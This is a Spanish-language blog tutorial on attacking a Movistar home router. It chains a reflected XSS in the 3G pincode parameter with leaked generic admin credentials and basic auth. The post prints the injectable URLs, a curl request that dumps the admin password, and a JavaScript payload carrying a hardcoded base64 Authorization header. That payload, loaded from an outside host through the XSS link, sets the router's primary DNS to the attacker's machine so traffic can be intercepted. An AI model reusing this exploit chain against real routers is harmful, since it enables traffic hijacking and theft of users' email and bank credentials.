XSS, CSRF y MiTM en router Movistar

OFERTÓN 3x1: lleve un ROUTER MOVISTAR con XSS, CSRF y MITM incluido

Router Movistar

El título parece sacado de un comercial de multitienda con el cual intenta enganchar a sus clientes, pero la verdad es que no encontraba un título apropiado que describiera este articulo y al final he seleccionado este debido a que es algo un tanto cómico y en algo representa lo que quiero mostrar. y lo que deseo mostrar Se trata nada más y nada menos que de un simple XSS reflejado, en mis principios cuando me estaba iniciando en esto de la seguridad informática no me gustaba para nada ya que no comprendía su funcionamiento y potencial al 100%, en fin hace unos meses atrás me ha picado el bichito de estudiar a fondo los XSS y me he encontrado con tutoriales como el de Chema Alonso Owning bad guys & mafia with Javascript botnets, he revisado herramientas como beef y he encontrado otros tantos tutoriales los cuales me demuestran que el XSS pasó de ser el típico bug que solo se remitía a obtener la sesión de un usuario en un sistema X, por este y otros motivos he decidido crear este articulo para la Comunidad DragonJAR.

Índice

El XSS en el Router Movistar

Herramientas:

Hace un tiempo atrás leí una entrada en SecurityByDefault, el cual mostraba el backdoor que contenía este router, debido a que se puede obtener la configuración completa a través de la web y sin tipear contraseña alguna, en esa entrada también se destaca que con la configuración que trae por defecto el router, no se puede obtener los datos de configuración remotamente, solo se puede a través de la red local, eso es bastante cierto hasta que nosotros cometamos el error de dejar nuestro router a merced de cualquier persona en internet, o que un delincuente nos envie un link el cual pinchamos, este tome el control de nuestro router, cambie los DNS, por ende reenvía el tráfico a su máquina(MITM) }:-) , como te habrás dado cuenta, a través de este tutorial veremos como un delincuente se puede aprovechar de este XSS y apropiarse de nuestro tráfico modificando los DNS y robarnos las cuentas del correo, del banco, o lo que se le plazca.

El XSS que utilizaré se encuentra en la zona de configuración que movistar instala (queda claro que no solo afecta a un modelo X de router) a nuestros router el cual facilita que un usuario común y corriente pueda acceder a la configuración básica.

Para los que no conozcan, se las presento.

Router Movistar 0

El xss se encuentra en la configuración de 3G, para revisar este debes tener instalado live http headers , iniciamos live http headers, presionamos en el botón de 3g y luego ponemos guardar y veremos los parámetros de configuración que se envían.

http://192.168.1.1/APIS/returnInternetJSON.xgi?set/wan/3g/inf:1/ppp/pincode=&set/wan/physical_type=0&set/runtime/wan/physical_type=0&set/wan/3g/defaultroute=9&set/wan/defaultroute=9&set/runtime/wan/defaultroute=9&CMT=0&EXE=wan_3g
.

donde pincode es vulnerable, comprueben ingresando el link.

http://192.168.1.1/APIS/returnInternetJSON.xgi?set/wan/3g/inf:1/ppp/pincode=<SCRIPT>alert(1);</SCRIPT>&set/wan/physical_type=0&set/runtime/wan/physical_type=0&set/wan/3g/defaultroute=9&set/wan/defaultroute=9&set/runtime/wan/defaultroute=9&CMT=0&EXE=wan_3g
.

Router Movistar 1

una vez que hemos verificado que la variable es vulnerable, y que no realiza ni un solo tipo de filtrado nos daremos un tiempo para revisar la entrada de securitybydefault expuesta anteriormente, en la cual veremos que nos brinda un enlace donde podemos obtener la clave de administrador del router.

$ curl http://192.168.1.1:8000/APIS/returnJSON.htm
{
"RETURN":{
 "success": true,
 "errorDescription": "ERROR_GENERAL"
},
"USER":{
 "USERNAME": "admin",
 "PASSWORD": "adm1n_passw0rd_exposed"
}
}

Lo he copiado tal cual como aparece en la entrada.

Si ingresamos a 192.168.1.1:8000 nos pedirá las credenciales que hemos obtenido y si ponemos mas atención, nos daremos cuenta que para autenticarnos utiliza autenticación básica, es decir que la clave nuestra siempre irá en la cabecera HTTP y cifrada con base64, este es un punto a favor para el atacante ya que no deberá lidiar con formularios ni siquiera un humilde capcha y si ese es un punto a favor, también lo será que la clave que nos setea movistar es genérica :D.

Verificamos la autenticación básica:

Router Movistar 3

Verificamos que las credenciales viajan en base64:

Router Movistar 4

El CSRF y MiTM en el Router Movistar

Ya tenemos en nuestra mano un XSS sabemos que las CREDENCIALES de administración son genéricas y la autenticación es básica, se me ocurren muchas ideas, la primera es que a través de ese XSS puedo dejar el router expuesto a toda la internet (una lamerada), puedo modificar cualquier parámetro del router para dejar a mis amigos sin conexión y luego reírme en su cara (otra lamerada), tengo una idea mejor un tanto más compleja y que me evita de hacer lameradas, modificar los DNS a través del XSS , dejando como DNS primario mi propia máquina y obviamente spoofeando el dns para indicarle que mi propia máquina corresponde al servidor que está solicitando, luego todas las peticiones de conexión que lleguen serán enviadas a través del firewall (IPTABLES) a su destino, con ello consigo.

  1. Que todo el tráfico que a mi se me antoje, será pasado a través de mi máquina.
  2. Enviar el tráfico hacia donde yo quiero.
  3. Pongo un tanto más lenta la conexión, pero podemos echarle la culpa a movi$$$$$tar.

Router movistar 5

Debo dejar en claro que podemos setear nuestra ip como DNS primario y como DNS secundario a la vez, lo más óptimo es dejar nuestra ip como DNS primario, ya que en caso de que ocurra un incidente con nuestra máquina, el router no podrá resolver dominios en nuestra máquina y tendrá que realizarlo al DNS secundario y evitamos dejar a nuestro amigo sin internet, también debemos tener claro que nuestra dirección IP debe ser estática de lo contrario la fiesta durará un par de minutos, quizás suficiente para un delincuente.

MATERIALES:

  • 1 host
  • Archivo *.js

Necesitaremos un hosting para hospedar un script JS, también debemos ver la url para setear el DNS, URL que queda expuesta en el siguiente SCRIPT.

function httpHeader()
 {
       var httpID;
       if (window.XMLHttpRequest)
       {
           httpID = new XMLHttpRequest();
       }
       else
       {
           httpID = new ActiveXObject('Microsoft.XMLHTTP');
       }

 httpID.open('GET','/ADVANCED/ad_dns.xgi?&set/dproxy/enable=1&set/dns/mode=2&set/dns/server/primarydns=XXX.XXX.XXX.XXX&set/dns/server/secondarydns=8.8.8.8&CMT=0&EXE=DNS',false);
    httpID.setRequestHeader("Authorization","Basic YWRtaW46YWRtMW5fcGFzc3cwcmRfZXhwb3NlZA==");
    httpID.send(null);
 }

Los parámetros que se deben modificar son primarydns, secondarydns y la clave en base64, creo que no es necesario explicar nada más, ni siquiera que no soy un experto en JS eso queda bastante claro y te habrás dado cuenta que lo puedes hacer bastante mejor =) . Una vez que tenemos el archivo en un servidor no debemos perder de vista la url donde ha quedado http://www.miservidor123.tk/modificaDNS.js , ahora nuestra url que se aprovecha del XSS debe lucir de la siguiente manera.

http://192.168.1.1/APIS/returnInternetJSON.xgi?set/wan/3g/inf:1/ppp/pincode=<script type='application/javascript' src=’http://www.miservidor123.tk/modificaDNS.js’></script><script>httpHeader();</script>&set/wan/physical_type=0&set/runtime/wan/physical_type=0&set/wan/3g/defaultroute=9&set/wan/defaultroute=9&set/runtime/wan/defaultroute=9&CMT=0&EXE=wan_3g

.

Insisto que en cuanto al JS lo pueden hacer mucho mejor y la url se puede camuflar, ese tema no lo tocaré porque el articulo no trata de aquello. Como puedes comprobar si has seguido todos los pasos, puedes ver que al ingresar a esa url efectivamente los parámetros del router cambiarán, con esto ya tenemos lista la parte que debemos enviar a nuestro amigo, ahora queda la configuración de nuestra máquina.

Configurando nuestra máquina:

primero debemos abrir los puertos de nuestro firewall en caso de que tengamos un firewall en nuestro ordenador y luego los puertos de nuestro router, lo puertos que debes abrir para el servicio web serán los siguientes.

  • 53 UDP => puerto donde se realizan las query dns.
  • 80 TCP => puerto de conexiones HTTP.
  • 443 TCP => puerto para conexiones HTTPS.

Solo nos enfocaremos en servicios WEB, y no mostraré como abrir los puertos creo que eso ya es demasiado, ¿no?, ahora que tenemos los puertos abiertos debemos crear un esquema de cómo se realizarán las conexiones y como las administraremos.

Router Movistar 6(Click para Agrandar Esquema)

Espero que disfrutaran la entrada, cualquier comentario ya saben que en la parte inferior del post lo pueden dejar.

Articulo escrito por Juan Plaza de Chile para La Comunidad DragonJAR

Subir